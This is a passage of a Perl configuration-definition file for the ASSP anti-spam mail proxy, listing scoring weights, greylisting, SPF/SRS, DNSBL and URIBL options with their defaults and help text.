['DoGlobalWhite','Enable the Global-White-Penalty',0,\&checkbox,'','(.*)',undef,'Enables the upload and download of White-Penalty-Box-Entries, if the client is registered on the global-PB-server.',undef,undef,'msg008370','msg008371'],
['globalWhiteExpiration','Expiration for Global-PB-White Records(days)',3,\&textinput,7,'(.*)',undef, 'Global-White-Penalties will expire after this number of days.',undef,undef,'msg008380','msg008381'],
['GPBDownloadLists','Download List and Regex Updates from GPB-Server','0:no download|1:download|2:download and install',\&listbox,1,'(.*)',undef,'Select, if assp should download updates for lists and regular expressions from the global penaltybox server. Downloads will be done to the \'download\' folder. If install is selected, the downloaded lines will merged in to the defined files (file:...). If you want to disable a specific line in any of your files, do not delete the line, instead commed it out - putting an \'#\' or \';\' in front of the line. If any list is not configured using the \'file:...\' option, only the download will be done, even if install is selected.',undef,undef,'msg009370','msg009371'],
['GPBautoLibUpdate','Download Plugin and Library Updates from GPB-Server','0:no download|1:download|2:download and install',\&listbox,2,'(.*)',undef,'Select, if assp should download updates for Plugins or Library-Files (../lib) from the global penaltybox server. Downloads will be done to the \'download\' folder. If install is selected, the downloaded Plugins and/or modules will be installed in to there original location, if an older version of the file still exists. If an older version is not found, only the download will be done. To activate updated Plugins or modules a restart of assp is required. This feature will not force an automatic restart of assp!.
<hr /><div class="menuLevel1">Notes On Global Penalty Box</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/global_pb.txt\',3);" />',undef,undef,'msg009380','msg009381'],

[0,0,0,'heading','Scoring Settings '],

['autValencePB','Bad SMTP Authentication, default=60 +',10,\&textinput,60,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP scoring<br />
'],
['baValencePB','Bad Attachment, default=20 +',10,\&textinput,20,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002630','msg002631'],
['backsctrValencePB','Backscatter detection, default=10 +',10,\&textinput,10,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'MessageScoring',undef,undef,'msg002640','msg002641'],
['baysValencePB','Bayesian, default=49 +',10,\&textinput,49,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002650','msg002651'],
['bayslocalValencePB','Bayesian for Local Messages, default=55 +',10,\&textinput,55,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg009550','msg009551'],
['baysconfidenceValencePB','Bayesian Confidence, default=10 +',10,\&textinput,10,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg009550','msg009551'],
['blValencePB','Blacklisted Domain +',10,\&textinput,30,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002660','msg002661'],

['bombValencePB','Bomb Expression +',10,\&textinput,25,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002680','msg002681'],
['blackValencePB','Bomb Black Expression, default=20 +',10,\&textinput,25,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002690','msg002691'],


['fhValencePB','Forged HELO, default=150 +',10,\&textinput,150,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002740','msg002741'],
['fiphValencePB','Suspicious HELO: IP in HELO, default=10 +',10,\&textinput,5,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002750','msg002751'],

['flValencePB','Invalid Local Sender, default=20 +',10,\&textinput,20,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002770','msg002771'],
['hlValencePB','Blacklisted HELO, default=20 +',10,\&textinput,20,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002780','msg002781'],

['idValencePB','Domain Changing IP Frequency, default=150 +',10,\&textinput,150,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002800','msg002801'],
['isValencePB','Same Subject',10,\&textinput,150,'(.*)',undef, 'Message/IP Scoring',undef,undef,'msg002800','msg002801'],
['ifValencePB','IP Frequency, default=150 +',10,\&textinput,150,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002810','msg002811'],
['idleValencePB','Timeout Score',3,\&textinput,0,'(\d+)','ConfigChangeValencePB', 'For IP scoring with smtpIdleTimeout.',undef,undef,'msg008870','msg008871'],
['iplValencePB','IP Parallel Sessions, default=5 +',10,\&textinput,5,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002820','msg002821'],
['ihValencePB','Invalid HELO, default=10 +',10,\&textinput,10,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002830','msg002831'],
['shValencePB','Suspicious HELO Score',3,\&textinput,10,'(.*)','ConfigChangeValencePB', 'For Message & IP scoring with SuspiciousHeloRe.'],
['irValencePB','Invalid Recipient, default=5 +',10,\&textinput,5,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg008940','msg008941'],
['mdrValencePB','Duplicate Recipient, default=10 +',10,\&textinput,10,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002840','msg002841'],
['midmValencePB','Missing Message-ID, default=10 +',10,\&textinput,10,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002850','msg002851'],
['midsValencePB','Suspicious Message-ID, default=10 +',10,\&textinput,10,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002860','msg002861'],
['midiValencePB','Invalid Message-ID, default=10 +',10,\&textinput,10,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002870','msg002871'],


['meValencePB','Max Errors Exceeded, default=10 +',10,\&textinput,10,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002900','msg002901'],
['msigValencePB','Invalid MSGID-signature',3,\&textinput,455,'(.*)',undef, 'MessageScoring'],

['mxValencePB','Missing MX, default=25 +',10,\&textinput,25,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002920','msg002921'],
['mxaValencePB','Missing MX &amp; A Record, default=40 +',10,\&textinput,40,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg002930','msg002931'],

['pbeValencePB','Extreme Bad IP History, TotalScore larger than PenaltyExtreme, default=45',3,\&textinput,45,'(\d+)',undef, 'MessageScoring',undef,undef,'msg002950','msg002951'],
['pbValencePB','Bad IP History, TotalScore larger than PenaltyLimit, default=25',3,\&textinput,25,'(\d+)',undef, 'MessageScoring',undef,undef,'msg002960','msg002961'],

['pbsValencePB','Suspicious IP History',3,\&textinput,15,'(.*)',undef, 'MessageScoring'],

['gripValencePB','GRIP value, default=15',3,\&textinput,15,'(\d+)',undef, 'MessageScoring',undef,undef,'msg002980','msg002981'],

['ptmValencePB','Missing PTR Record, default=10',10,\&textinput,10,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg003000','msg003001'],
['ptiValencePB','Invalid PTR Record, default=15 ',10,\&textinput,15,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg003010','msg003011'],
['rblnValencePB','DNSBL Neutral, default=35 +',10,\&textinput,35,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB','Message/IP Scoring',undef,undef,'msg003020','msg003021'],
['rblValencePB','DNSBL Failed, default=100 +',10,\&textinput,100,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB','Message/IP Scoring',undef,undef,'msg003030','msg003031'],
['rlValencePB','Failed Relay Attempt, default=10 +',10,\&textinput,10,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg003040','msg003041'],
['reValencePB','Recipients Empty Score +',3,\&textinput,5,'(.*)','ConfigChangeValencePB', 'Message/IP Scoring'],

['scriptValencePB','Script Expression, default=25 +',10,\&textinput,25,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg003060','msg003061'],
['sbnValencePB','No Organization and No CountryCode, default=10 +',10,\&textinput,10,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'For Message/IP scoring in DoOrgBlocking/DoCountryBlocking',undef,undef,'msg003070','msg003071'],
['sworgValencePB','White Organizations Score, default=-35+',3,\&textinput,-35,'(-\d*)','ConfigChangeValencePB', '<span class="positive"> Bonus for Message/IP scoring in DoOrgWhiting</span>',undef,undef,'msg003080','msg003081'],
['sbsccValencePB','Suspicious Country Code, default=10',3,\&textinput,10,'(\d+)','ConfigChangeValencePB', 'Message/IP scoring in DoSenderBase',undef,undef,'msg003090','msg003091'],
['bccValencePB','Blocked Country Code Score, default=25 +',10,\&textinput,25,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP scoring in DoSenderBase',undef,undef,'msg003100','msg003101'],
['sbfccValencePB','Foreign Country Code Score, default=10 +',10,\&textinput,10,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP scoring in DoSenderBase',undef,undef,'msg003110','msg003111'],
['sbhccValencePB','<span class="positive">Home Country Code Score, default=-10</span> +',10,\&textinput,-10,'(\s*-?\d+\s*(?:[\|,]\s*-?\d+\s*){0,1})','ConfigChangeValencePB', '<span class="positive"> Bonus for Message/IP Scoring  in DoSenderBase</span>',undef,undef,'msg003120','msg003121'],
['sborgValencePB','Blocked Organizations Score, default=25 +',10,\&textinput,25,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP scoring in DoSenderBase',undef,undef,'msg003130','msg003131'],

['spfValencePB','SPF Failed, default=35 +',10,\&textinput,35,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB','Message/IP Scoring',undef,undef,'msg003200','msg003201'],
['srsValencePB','SRS Validate Bounce Failed Score, default=10 +',10,\&textinput,10,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB','For Message/IP scoring in SRSValidateBounce',undef,undef,'msg003210','msg003211'],
['stValencePB','Penalty Trap Address, default=50 +',10,\&textinput,50,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'For Message/IP scoring',undef,undef,'msg003220','msg003221'],
['tlsValencePB','OK, Is a SSL/TLS connection, default=-10 +',10,\&textinput,-10,'(\s*-?\d+\s*(?:[\|,]\s*-?\d+\s*){0,1})','ConfigChangeValencePB', '<span class="positive">Message Scoring/IP scoring Bonus for SSL/TLS connections</span>',undef,undef,'msg003230','msg003231'],
['uriblnValencePB','URIBL Neutral, default=20 +',10,\&textinput,20,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB','Message/IP Scoring',undef,undef,'msg003240','msg003241'],
['uriblValencePB','URIBL Failed, default=25 +',10,\&textinput,25,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB','Message/IP Scoring',undef,undef,'msg003250','msg003251'],
['vsValencePB','Virus suspicious, default=25',3,\&textinput,25,'(\d+)','ConfigChangeValencePB','MessageScoring',undef,undef,'msg003260','msg003261'],
['vdValencePB','Virus detected, default=50 +',10,\&textinput,50,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Message/IP Scoring',undef,undef,'msg003270','msg003271'],
['whiteValencePB','<span class="positive">White Expression Matching+</span>',3,\&textinput,-50,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', '<span class="positive">For Message & IP scoring with whiteRe</span>'],
['teValencePB','TestRe Valence, default=20 +',10,\&textinput,20,'(\s*\d+\s*(?:[\|,]\s*\d+\s*){0,2})','ConfigChangeValencePB', 'Valence for testing testRe<br /><hr />
  <div class="menuLevel1">Notes On Penalty Box</div>
  <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/penaltybox.txt\',3);" />',undef,undef,'msg008710','msg008711'],

  
 

[0,0,0,'heading','Delaying/Greylisting '],
['EnableDelaying','Enable Delaying/Greylisting',0,\&checkbox,1,'(.*)',undef,
  'Enable Greylisting as described at <a href="http://projects.puremagic.com/greylisting/whitepaper.html?view=markup" rel="external">Greylisting-whitepaper</a>.<br />
   ASSP will "temporarily reject" any email from a sender it does not recognize. If the mail is legitimate the originating server will, after a delay, try again and, if sufficient time has elapsed, the email will be accepted. If the mail is from a spam sender, sending to many thousands of email addresses, it will probably not be retried.
   Greylisting involves sending a temporary 451 SMTP error code to the sending server when a message is received, along with sending this error code ASSP creates a Triplet and stores this. On the second delivery attempt if the Embargo Time set by the ASSP admin for the Triplet has been surpassed the message will be accepted and a Tuplet will be created and not delayed again for an Expiry Time set by the ASSP admin.'],

['DelayLog','Enable Greylisting/Delaying logging','0:nolog|1:standard|2:verbose',\&listbox,1,'(.*)',undef,
  ''],

['DelayWL','Whitelisted Greylisting',0,\&checkbox,'','(.*)',undef,
  'Enable Greylisting for whitelisted senders.'],

['DelayNP','NoProcessing Greylisting',0,\&checkbox,'','(.*)',undef,
  'Enable Greylisting for noprocessing senders.'],
['DelaySL','spamLovers Greylisting',0,\&checkbox,'1','(.*)',undef,
  'Enable Greylisting for addresses in spamLovers.'],


['DelayAddHeader','Add X-Assp-Delay Header',0,\&checkbox,1,'(.*)',undef,
  'Add X-Assp-Delay header to all emails.'],
['DelayEmbargoTime','Embargo Time',5,\&textinput,5,'(.*)',undef,
  'Enter the number of minutes for which delivery, related with new \'triplet\' (IP address of the sending host + mail from + rcpt to), is refused with a temporary failure.'],
['DelayWaitTime','Wait Time',5,\&textinput,28,'(.*)',undef,
  'Enter the number of hours to wait for delivery attempts related with recognised \'triplet\'; delivery is accepted <br />
  immediately and the \'tuplet\' (IP address of the sending host + sender\'s domain) is whitelisted.'],
['DelayExpiryTime','Expiry Time',5,\&textinput,36,'(\d+)',undef,
  'Enter the number of days for which a whitelisted \'tuplet\' is considered valid.'],
['DelayUseNetblocks','Use IP Netblocks',0,\&checkbox,1,'(.*)',undef,
  'Perform the IP address checks of the sending host based on the /24 subnet it is at rather than the specific IP. <br />
  This feature may be useful for legitimate mail systems that shuffle messages among SMTP clients between retransmissions.'],
['DelayNormalizeVERPs','Normalize VERP Addresses',0,\&checkbox,1,'(.*)',undef,
  'Some mailing lists (such as Ezmlm) try to track bounces to individual mails, rather than just individual recipients, which creates a variation on the VERP method where each email has its own unique envelope sender. Since the automatic whitelisting (called savelisting to make a difference to the standard whitelisting) that is built into Greylisting depends on the envelope addresses for subsequent emails being the same, the greylisting filter will attempt to normalize the unique sender addresses, when this option is checked.'],
['DelayMD5','Use MD5 for DelayDB',0,\&checkbox,'1','(.*)',undef,
  'Message-Digest algorithm 5 is a cryptographic hash function and adds some level of security to the delay database. Must be set to off if you want to list the database with DelayShowDB/DelayShowDBwhite.'],
['DelayShowDB','Show Delay/Greylisting Database',40,\&textinput,'file:delaydb','(\S*)',undef,'The directory/file with the delay local file. Obsolete if you use \'mysql\' in delaydb.','','8'],
['DelayShowDBwhite','Show Delay/Greylisting Save Database',40,\&textinput,'file:delaydb.white','(\S*)',undef,'The directory/file with the white-delay local file. Obsolete if you use \'mysql\' in delaydb.','','8'],
['DelayExpireOnSpam','Expire Spamming Whitelisted Tuplets',0,\&checkbox,1,'(.*)',undef,
  'If a whitelisted \'tuplet\' is ever associated with spam, viri, failed rbl, spf etc, it is removed from whitelisted tuplets database. <br />
  This renews the temporary embargo for subsequent mail involving the tuplet.'],
['CleanDelayDBInterval','Clean Up Delaying Database',10,\&textinput,10800,'(\d+)',undef,
  'Delete outdated entries from triplets and whitelisted tuplets databases every this many seconds.<br />
  Note: the current timeout must expire before the new setting is loaded, or you can restart.
  Defaults to 3 hours.'],
['noDelay','Don\'t Delay these IPs*',80,\&textinput,'file:files/nodelay.txt','(.*)','ConfigMakeIPRe',
  'Enter IP addresses that you don\'t want to be delayed, separated by pipes (|). There are misbehaving MTAs that will not be able to get a legitimate email through a Greylisting server because they do not try again later.<br /><a href=http://assp.cvs.sourceforge.net/viewvc/assp/assp/files/nodelay.txt target=files ><span class="positive">newest example file is here</a>','','7'],
['noDelayAddresses','Do not Delay these Addresses*',80,\&textinput,'','(.*)','ConfigMakeSLRe','Enter senders email addresses that you don\'t want to be delayed, separated by pipes (|). You can list specific addresses (user@anydomain.com), addresses at any domain (user), or entire domains (@anydomain.com).  Wildcards are supported (fribo*@domain.com).<br />For example: fribo@anydomain.com|jhanna|@sillyguys.org or place them in a plain ASCII file one address per line: \'file:files/nodelayuser.txt\'.'],


['DelayError','Reply Code to Refuse Delayed Messages',80,\&textinput,'451 4.7.1 Please try again later','(45\d .*)',undef,
  'SMTP reply code to refuse delayed messages. Default: 451 4.7.1 Please try again later
  <br /><hr />
  <div class="menuLevel1">Notes On Delaying</div>
  <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/delaying.txt\',3);" />'],

[0,0,0,'heading','SPF/SRS '],

['ValidateSPF','Enable SPF Validation <a href="http://apps.sourceforge.net/mediawiki/assp/index.php?title=SPF" target=wiki><img height=12 width=12 src="' . $wikiinfo . '" alt="SPF" /></a>','0:disabled|1:block|2:monitor|3:score',\&listbox,3,'(.*)',undef,
  'Enable Sender Policy Framework Validation as described at <a href="http://www.openspf.org/" rel="external">openspf</a>.<br />
  This requires an installed Mail::SPF module in PERL. Testmode can be set with spfTestMode, Scoring is done  with spfValencePB.'],
['SPFLog','Enable SPF logging','0:nolog|1:standard|2:verbose',\&listbox,1,'(.*)',undef,
  ''],


['SPFLocal','Local and outgoing mail SPF Validation',0,\&checkbox,'','(.*)',undef,
  'Enable Sender Policy Framework Validation for local and outgoing messages also. Don\'t forget to configure your DNS-server for SPF if you enable this option.',undef,undef,'msg003490','msg003491'],
['AddSPFHeader','Add Received-SPF Header',0,\&checkbox,1,'(.*)',undef,
  'Add Received-SPF header.'],

['noSPFRe','Regular Expression to Skip SPF Processing*',80,\&textinput,'','(.*)','ConfigCompileRe',
 'Put anything here to identify these messages in header'],

['SPFsoftfail','Fail SPF Softfail Validations',0,\&checkbox,'1','(.*)',undef,
  'SPF \'softfail\' status responses will be set to \'fail\' if strictSPFRe is matched.
'],
['strictSPFRe','Strict SPF Processing Regex*',80,\&textinput,'@aol.com|@gmail.com|@msn.com|@live.com|@ebay.com|@ebay.nl|@bbt.com|@paypal.com|@einsundeins.de|@microsoft.com|@facebook.com','(.*)','ConfigCompileRe',
 'SPF \'softfail\' status responses will be set to \'fail\' for these sending addresses. Put anything here to identify the addresses. For example: \'@aol.com|@gmail.com|@msn.com|@live.com|@ebay.com|@ebay.nl|@bbt.com|@paypal.com|@einsundeins.de|@microsoft.com\''],

['blockstrictSPFRe','Strict SPF Blocking Regex*',80,\&textinput,'@ebay.com|@paypal.com|@facebook.com|@ups.com','(.*)','ConfigCompileRe',
 'All failed messages will be blocked for these sending addresses. Put anything here to identify the addresses. For example: \'@ebay.com|@paypal.com|@facebook.com\''],





['SPFCacheExp','SPF Cache Refresh Interval',4,\&textinput,72,'([\d\.]+)','configUpdateSPFCR',
  'SPF records in cache will be removed after this interval in hours. 0 will disable the cache.  <input type="button" value=" show cache" onclick="javascript:popFileEditor(\'pb/pbdb.spf.db\',6);" />'],

['DebugSPF','Enable SPF Debug output to ASSP Logfile',0,\&checkbox,'','(.*)',undef,
 'Enables verbose debugging of SPF queries within the Mail::SPF::Query module.
 <br /><hr />
 <div class="menuLevel1">Notes On SPF</div>
 <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/spf.txt\',3);" /> '],
['EnableSRS','Enable Sender Rewriting Scheme',0,\&checkbox,'','(.*)','updateSRS',
  'Enable Sender Rewriting Scheme as described at <a href="http://www.openspf.org/SRS" rel="external">www.openspf.org/SRS</a>.<br />
  This requires an installed Mail::SRS module in PERL.<br />
  You should use SRS if your message handling system forwards email for domains with published spf records.<br />
  Note that you have to setup the outgoing path (Relay Host and Port) to let ASSP see and rewrite your outgoing traffic.'],

['SRSAliasDomain','Alias Domain',40,\&textinput,'example.com','(.*)','updateSRSAD',
  'SPF requires the SMTP client IP to match the envelope sender (return-path). When a message is forwarded through<br />
  an intermediate server, that intermediate server may need to rewrite the return-path to remain SPF compliant.<br />
  For example: example.com'],
['SRSSecretKey','Secret Key',20,\&textinput,'','(.*)','updateSRSSK',
  'A key for the cryptographic algorithms -- Must be at least 5 characters long.'],
['SRSTimestampMaxAge','Maximum Timestamp Age',5,\&textinput,21,'(\d+)',undef,
  'Enter the maximum number of days for which a timestamp is considered valid.'],
['SRSHashLength','Hash Length',5,\&textinput,4,'(\d+)',undef,
  'The number of bytes of base64 encoded data to use for the cryptographic hash.<br />
  More is better, but makes for longer addresses which might exceed the 64 character length suggested by RFC5321.<br />
  This defaults to 4, which gives 4 x 6 = 24 bits of cryptographic information, which means that a spammer will have <br />
  to make 2^24 attempts to guarantee forging an SRS address.'],
['SRSValidateBounce','Enable Bounce Recipient Validation','0:disabled|1:block|2:monitor|3:score',\&listbox,0,'(.*)',undef,
  'Bounce messages that fail reverse SRS validation (but not a valid SMTP probe)<br />
  will receive a 554 5.7.5 [Bounce address not SRS signed] SMTP error code.<br /> Testmode can be set with srsTestMode, Scoring is done  with srsValencePB.'],
['SRSno','Don\'t Rewrite These Addresses*',60,\&textinput,'','(.*)','ConfigMakeSLRe',
  'Don\'t rewrite addresses when messages come from/to these addresses. Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com). <br />For example: fribo@example.com|jhanna|@example.org'],
['noSRS','Don\'t Validate Bounces From these IPs*',80,\&textinput,'','(.*)','ConfigMakeIPRe',
  'Enter IP addresses that you don\'t want to validate bounces from, separated by pipes (|).
  For example:  145.145.145.145|145.146.<br /><hr />
  <div class="menuLevel1">Notes On SRS</div>
  <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/srs.txt\',3);" />','','7'],

[0,0,0,'heading','DNSBL '],
['ValidateRBL','Enable DNS Blacklist Validation', '0:disabled|1:block|2:monitor|3:score',\&listbox,1,'(.*)','configUpdateRBL',
'This requires an installed Net::DNS module in PERL. Scoring is done  with rblValencePB for \'fail\' and rblnValencePB for \'neutral\' results. Testmode can be set with rblTestMode.'],
['RBLLog','Enable DNSBL logging','0:nolog|1:standard|2:verbose',\&listbox,1,'(.*)',undef,
  ''],
['noRBL','Don\'t do DNSBL for these IPs*',80,\&textinput,'','(.*)','ConfigMakeIPRe',
 'Enter IP addresses that you don\'t want to be DNSBL validated, separated by pipes (|). For example:  145.145.145.145|145.146.',undef,'7'],
['RBLWL','Whitelisted DNSBL Validation',0,\&checkbox,'','(.*)',undef,
  'Enable DNSBL for whitelisted messages '],
['RBLNP','NoProcessing DNSBL Validation',0,\&checkbox,'','(.*)',undef,
  'Enable DNSBL for noprocessing messages '],
['AddRBLHeader','Add X-Assp-DNSBL Header',0,\&checkbox,1,'(.*)',undef,
  'Add X-Assp-DNSBL header to messages with positive reply from DNSBL.'],

['RBLServiceProvider','RBL Service Providers*',80,\&textinput,'file:files/dnsbls.txt','(\S*)','configUpdateRBLSP',
 'Names of DNSBLs to use separated by "|" or name of list \'file:files/dnsbls.txt\'. Defaults are:<br /> zen.spamhaus.org=>1|bl.spamcop.net=>1|bb.barracudacentral.org=>1|combined.njabl.org=>1|safe.dnsbl.sorbs.net=>1|psbl.surriel.com=>2|ix.dnsbl.manitu.net=>2|dnsbl-1.uceprotect.net=>2|dnsbl-2.uceprotect.net=>4.<br/>
DNSBL providers can be classified like bl.spamcop.net=>1. \'1\' is the most trustworthy class. \'6\' is the least trustworthy class. Numbers above 6 will be used as score directly. The value of the class acts as a divisor of rblValencePB. So  bl.spamcop.net=>1 would score 50, bl.spamcop.net=>2 would score 25 if rblValencePB is set to 50. 
If the sum of scores surpasses rblValencePB, the DNSBL check fails. If not, the DNSBL check will be considered \'neutral\' and use the resulting score. <br/>
<a href=http://assp.cvs.sourceforge.net/viewvc/assp/assp/files/dnsbls.txt target=files ><span class="positive">newest example file is here</a>'],

['RBLmaxreplies','Maximum Replies',3,\&textinput,13,'(.*)','configUpdateRBLMR','A reply is affirmative or negative reply from a DNSBL.<br />
  The DNSBL module will wait for this number of replies (negative or positive) from the DNSBLs listed under Service Provider for up to the Maximum Time(RBLmaxtime).<br />
  This number should be equal to or less than the number of DNSBL Service Providers listed to allow for randomly unavailable DNSBLs.<br />

'],
['Showmaxreplies','Show All Possible Hits ',0,\&checkbox,'','(.*)',undef,
  'Show all hits instead of stopping at RBLmaxhits.'],
['RBLmaxhits','Maximum Hits',3,\&textinput,2,'(.*)','configUpdateRBLMH','A hit is an affirmative response from a DNSBL.<br />
  The DNSBL module will check all of the DNSBLs listed under Service Provider. If the number of hits is greater or equal Maximum Hits, the email is flagged <span class="negative">failed</span>.<br /> If the number of hits is greater 0 and less Maximum Hits, the email is flagged <span class="negative">neutral</span>. <br /> 
RBLmaxhits is ignored if the RBLServiceProvider are classified (weighted), the email is flagged <span class="negative">failed</span> if weights for all URIs is greater or equal RBLvalencPB.'],


['RBLmaxtime','Maximum Time',5,\&textinput,10,'(.*)',undef,'This sets the maximum time in seconds to spend on each message performing DNSBL checks.'],
['RBLsocktime','Socket Timeout',5,\&textinput,1,'(.*)',undef,'This sets the DNSBL socket read timeout in seconds.'],


['RBLCacheExp','DNSBL Expiration Time',4,\&textinput,24,'([\d\.]+)','configUpdateRBLCR',
  'IPs in cache will be removed after this interval in hours. 0 will disable the cache. <input type="button" value=" show cache" onclick="javascript:popFileEditor(\'pb/pbdb.rbl.db\',5);" />'],
  
['RBLCacheExpMiss','DNSBL Cache Refresh Interval for Misses',3,\&textinput,12,'([\d\.]+)','configUpdateRBLCR',
  'Domains in cache with status=2 (miss) will be removed after this interval in hours. Empty or 0 will prevent caching of non-hits. 
  <hr /><div class="menuLevel1">Notes On DNSBL</div>
  <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/rbl.txt\',3);" />'],



[0,0,0,'heading','URIBL'],
 ['ValidateURIBL','Enable URI Blocklist Validation <a href="http://www.uribl.com/about.shtml" target="ASSPHELP"><img src="' . $wikiinfo . '" alt="about" /></a>','0:disabled|1:block|2:monitor|3:score',\&listbox,'1','(.*)','configUpdateURIBL',
  'Enable URI Blocklist. Messages that fail URIBL validation will receive URIBLError SMTP error code. This requires an installed Net::DNS module and an installed Email::MIME::Modifier module in PERL. 
   Scoring is done  with uriblValencePB, Testmode can be set with uriblTestMode.'],
 ['URIBLLog','Enable URIBL logging','0:nolog|1:standard|2:verbose|3:diagnostic',\&listbox,1,'(.*)',undef,
  ''],
 ['URIBLWL','Do URI Blocklist Validation for Whitelisted',0,\&checkbox,'','(.*)',undef,'URIBL check is done ignoring all spamlovers and testmodes!',undef,undef,'msg003890','msg003891'],
 ['URIBLNP','Do URI Blocklist Validation for NoProcessing',0,\&checkbox,'','(.*)',undef,'URIBL check is done ignoring all spamlovers and testmodes!',undef,undef,'msg003900','msg003901'],
 ['URIBLLocal','Do URI Blocklist Validation for Local Mails',0,\&checkbox,'','(.*)',undef,'',undef,undef,'msg003910','msg003911'],
 ['URIBLISP','Do URI Blocklist Validation for ISP/Secondary',0,\&checkbox,1,'(.*)',undef,'',undef,undef,'msg003920','msg003921'],
 ['URIBLServiceProvider','URIBL Service Providers*',60,\&textinput,'multi.surbl.org=>1|black.uribl.com=>1','(.*)','configUpdateURIBLSP',
  'Domain Names of URIBLs to use separated by "|". You may set for every provider a weight like multi.surbl.org=>50|black.uribl.com=>25.<br />
 The value of the weight can be set directly like=>45 or as a divisor of URIBLmaxweight . Low numbers < 6 are divisors . So if URIBLmaxweight = 50 (default) multi.surbl.org=>50  would be the same as multi.surbl.org=>1, multi.surbl.org=>2 would be the same as multi.surbl.org=>25.<br />
 If the sum of weights of all found uris surpasses URIBLmaxweight, the URIBL check fails.  If not, the URIBL check is scored as "neutral" . URIBLmaxhits is ignored when weights are used.<br /> 
 Some URIBL Service Providers, like multi.surbl.org and black.uribl.com , provides different return codes in a single DNS-zone: like 127.a.b.c - where a,b,c are used to identify a weight or type (or what ever) of the returned entry. If you want to care about special return codes, or if you want to use different weights for different return codes, you should use the following enhanced entry syntax:<br /><br />
